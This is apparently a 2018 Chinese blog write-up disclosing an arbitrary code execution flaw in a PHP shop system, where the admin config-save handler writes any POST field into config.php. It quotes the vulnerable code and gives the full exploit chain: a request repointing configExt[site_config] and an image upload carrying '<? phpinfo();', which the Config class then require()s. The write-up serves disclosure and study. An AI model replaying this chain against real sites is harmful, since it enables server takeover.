Created 星期三 28 二月 2018
2018年2月28号 状态:良好 心情:想玩游戏

程序缺陷说明流程图:

漏洞流程图

#####问题产生:
该处问题的研究起源于后台某处配置文件写入的地方存在不合理的地方。具体地,后台写入配置文件的中的字段内容没有做任何限制导致任意字段可写入到配置,以及已存在的字段可以任意更改。下面我们具体看一下此处的代码:

0x01.代码位置:

\www\controllers\system.php 第461-474行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
	//获取输入的数据
$inputArray = $_POST; //获取整个post数据内容,直接写入到config.php文件中
if($form_index == 'system_conf')
{
//写入的配置文件
$configFile = IWeb::$app->getBasePath().'config/config.php';
Config::edit($configFile,$inputArray);
}
else
{
$siteObj = new Config('site_config');
$siteObj->write($inputArray);
}
$this->redirect('/system/conf_base/form_index/'.$form_index);
}

再跟进到config::edit()方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static function edit($configFile,$inputArray)
{
//安全过滤要写入文件的内容
foreach($inputArray as $key => $val)
{
if(!in_array($key,self::$safeKey))
{
$inputArray[$key] = IFilter::act($val,'text');
}
}

$configStr = "";

//读取配置信息内容
if(file_exists($configFile))
{
$configStr = file_get_contents($configFile);
$configArray = require($configFile);
}

if(trim($configStr)=="")
{
$configStr = "<?php return array( \r\n);?>";
$configArray = array();
}

//表单中存在但是不进行录用的键值
$except = array('form_index');

foreach($except as $value)
{
unset($inputArray[$value]);
}

$inputArray = array_merge($configArray,$inputArray);
$configData = var_export($inputArray,true);
$configStr = "<?php return {$configData}?>";

//写入配置文件
$fileObj = new IFile($configFile,'w+');
$writeResult = $fileObj->write($configStr);
return $writeResult;
}

0x02.代码分析:

这两段代码内容为获取整个post数据内容,直接写入到config.php文件中,config:edit 方法中会对用户数据输入做一定程度上的过滤,之后合并用户数据和config文件中的字段内容,之后再写入到config配置文件中。

0x03.缺陷利用

构造请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?controller=system&action=save_conf&form_index=system_conf HTTP/1.1
Host: 192.168.98.140
Content-Length: 107
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/index.php?controller=system&action=conf_base
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9a2vcbtpdbhe4u1m3n37c90on2; iweb_captcha=d7e32fb3e93098181aVVUEA1UJAQVUAwYPCAIBUV1aCFNVDVNSVlUMD1sFUlRCWgVeWQ; iweb_admin_role_name=1faa9d42fa6a2fd9e6BQlRAgNTAVEDVFIABwJRXQEAAQJUAw0BAFAOAVNSVAXd1OfWjZTem8fR8r%2FRp60; iweb_admin_id=6e1629b8de923429d4UggCAlYBUgMHCAZRBFpaUAQLVVBTAVECVl1dCFZWUgcG; iweb_admin_name=349eb2d1cbb468ff0dVQYGAQIBBwNUAVVbV1IDXgBaAAUNAwUMUwRXAARRUgdRXVUNDA; iweb_admin_pwd=b57c901eab9d530dc2AwYIAgVUBABWAlZQAQEGA11dAQYJUwIDCwIEBw5UUQZSVgABBw8HVFsDXAgJVQcGW1xdAwtSV1AHC1JSAFMFVA; iweb_lastInfo=7affea41ea15cc3dd3BwVWBgZUUQcCCFQBBFdUV1VWVVEFAAFcDw5YVAZRUFwcWlJZUgBKHg5UWgBWQD5fCkpH; iweb_user_id=3de6675fa5b6a15ae1AwUDCQUJCQkIAwBSU1tcBgNfUw1RC1dWUVoACFJXBFEF; iweb_username=8e808fe8523c09884bCVRWVgcJBwFSAAFUAFtRAAFRU1IHBVVRCVxQBAJRVQRRDFcCXlVW; iweb_user_pwd=a2a01037715308f593AARTVgEEBQlWAgUECFNVU10JVAddAwMFDlQGVwIEDQxWV1RWVQwEA1AAUQtTWwQFW1xRVQ9VVVQBCAkDWlBZUw; iweb_head_ico=142a94e8392a098bb7AFYIUwgCUwdSUwRVUAkHAAUCVQNXDAFdVl5VCVFVWVU; iweb_last_login=025a5cc2c53f399b75AwZTCAQAUQcCVVMCVQ1SVAIHUwZUVwJdVFIEBFFTCAA; iweb_loginName=190edd083d8bd16b2aBgRVCFIBBwdTCVZVA1VTVQNcU1IOD1dQAVZTVgEMBAUEUFdSWAVfcEFbFlAKXA; iweb_shoppingcart=178b3cc8e7589b8cfaVgMGVQcECVECUgdYBQkFBwMGAwxTBQZVVQUGBAJWClY
Connection: close

safe=cookie&uploadSize=10&lang=zh_sc&debug=0&rewriteRule=url&authorizeCode=&configExt[site_config]=test.txt

查看修改后的配置文件,可看到数据请求中的字段已被修改成功:
config
testforfun字段为配置文件中不存在的字段,可以看到这里的configExt[site_config]的值改成了test.txt。
这里的test.txt可以是我们上传任何带有恶意代码的文件。

可以直接使用这里的这个系统功能上传恶意图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php?controller=pic&action=upload_json&dir=file HTTP/1.1
Host: 192.168.98.140
Content-Length: 336
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxy2IMnH8RnucSwQD
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/index.php?controller=goods&action=goods_edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

------WebKitFormBoundaryxy2IMnH8RnucSwQD
Content-Disposition: form-data; name="localUrl"

C:\fakepath\test_phpinfo.png
------WebKitFormBoundaryxy2IMnH8RnucSwQD
Content-Disposition: form-data; name="imgFile"; filename="test_phpinfo.png"
Content-Type: image/png

testet<? phpinfo();

------WebKitFormBoundaryxy2IMnH8RnucSwQD--

之后可以把配置文件中site_config这个字段该成对应的上传文件的路径了:

于是我们看看修改了这个字段对网站产生的影响,可以看到直接test.txt中的代码被执行了:
getshell

#####问题原由:
改掉配置文件中的该字段(configExt[site_config])后,web系统代码中有直接require()这个文件的地方。
具体地,我们在分析的过程中,一般先去查看site_config这个字段在web系统中哪里被调用,以下截图说明,网站中大量的地方调用该参数:

我们跟进到new Config(“site_config”)这个过程的Config类的具体实现中:
代码位置:\WWW\classes\config.php 第25-60行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class Config
{
//不需要过滤的键名
private static $safeKey = array('index_slide','service_online');
private $configFile;
private $config;
/**
* @brief 初始化对应的config文件
* @param String $config config文件名
*/
public function __construct($config)
{
$this->initConfig($config);
}

/**
* @brief 设定Config文件
* @param String $config config文件名
*/
public function setConfig($config)
{
$this->initConfig($config);
}

/**
* @brief 获取全部的config信息
*/
public function getInfo()
{
return $this->config;
}

/**
* @brief 初始化对应的config文件
* @param String $config config文件名
* @return Array 或者为null
*/
private function initConfig($config)
{
if(isset(IWeb::$app->config['configExt']) && isset(IWeb::$app->config['configExt'][$config]))
{
$this->configFile = IWeb::$app->getBasePath().IWeb::$app->config['configExt'][$config];
$this->config = require($this->configFile);
}
else
$this->config = null;
}

代码分析:分析代码可知道,该类在创建时会使用initConfig()方法初始化类中变量,并且在方法initConfig()中会直接require配置文件中的site_config字段,导致最终的任意代码执行漏洞的产生。

注:该漏洞博主已提交到CNVD.